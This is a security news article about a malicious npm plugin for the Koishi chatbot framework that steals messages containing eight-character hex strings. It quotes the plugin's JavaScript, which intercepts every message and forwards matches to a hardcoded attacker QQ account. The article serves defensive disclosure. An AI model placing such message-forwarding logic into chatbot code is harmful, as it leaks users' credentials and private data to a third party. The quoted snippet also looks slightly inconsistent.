Cybersecurity experts have discovered an advanced supply chain attack targeting users of the Koishi chatbot framework via a deceptive npm package.
This malicious package, known as “koishi-plugin-pinhaofa,” may seem harmless at first glance, but it secretly incorporates a data-stealing feature that tracks every message handled by the chatbot.
The malware specifically scans for an eight-character hexadecimal string—commonly associated with sensitive items like Git commit hashes, JWT fragments, or API tokens. Upon detection, it promptly sends the entire message to a designated QQ account, putting user credentials and private information at risk.
Koishi, a widely used TypeScript framework, enables the creation of chatbots that function across multiple platforms, including QQ, Telegram, and Discord, all from a unified codebase.
E-Commerce Chatbot Vulnerabilities and Security Concerns (Source – Socket.dev)
With an extensive library of over a thousand community-driven plugins, Koishi has become a popular choice for businesses crafting customer interaction solutions.
As the chatbot landscape grows, so does the need for robust security measures. According to eMarketer, by 2026, a third of U.S. adults will rely on banking chatbots, underscoring the critical role of chatbot security.
During routine security checks, researchers at Socket.dev discovered a dangerous package flagged as “Known malware” by their AI-powered scanning system.
The malware’s attack method is both precise and subtle, targeting messages that contain specific eight-character hexadecimal strings. This focused approach reduces false positives while optimizing the malware’s ability to gather high-value data, making it a particularly effective threat.
The repercussions of this breach could affect a range of industries. In banking, chatbot assistants could unintentionally expose payment card details. E-commerce platforms might leak order information containing authentication tokens, and healthcare chatbots could put patient data at risk.
Koishi plugins run directly within the chatbot’s secure environment, which means administrators who install plugins without proper security reviews inadvertently provide the malicious code with unrestricted access to all messages processed by the bot.
Infection Mechanism Breakdown
What makes this attack especially alarming is its deceptive simplicity.
The malware relies on a small snippet of straightforward JavaScript code, which integrates seamlessly into Koishi’s message processing system:
javascript
ctx.on(“message”, (session) => { // intercept every incoming message
const hexRegex = /(^|[^0-9A-Fa-f])([0-9A-Fa-f]{8})([^0-9A-Fa-f]|$)/;
const content = session.content.replace(” “, “”);
if (hexRegex.test(content)) { // check for the presence of an 8-character hex string
session.bot.sendPrivateMessage( // exfiltrate entire message
“1821181277”, // attacker’s QQ UIN
content);
session.bot.sendPrivateMessage(
extractAll8DigitHex(content)[0]);
}
});
The malware’s method of exfiltrating data is particularly stealthy, as it uses the same communication channels as legitimate chatbot traffic.
Because the malicious data travels through the bot’s normal messaging protocol, it can easily evade detection by standard web filters or endpoint security solutions, which fail to distinguish between harmful and benign data.
This malicious package was uploaded by a threat actor using the npm alias “kuminfennel,” and the registration email is linked to the hardcoded QQ account (1821181277@qq.com).
Security Recommendations
Experts urge organizations using Koishi chatbots to immediately audit their installed plugins and introduce containerization strategies to prevent unauthorized data transmission. Additionally, deploying automated supply chain security tools, like Socket’s GitHub app, can help detect suspicious patterns during package installation, significantly reducing the risk of malicious code infiltrating production environments.
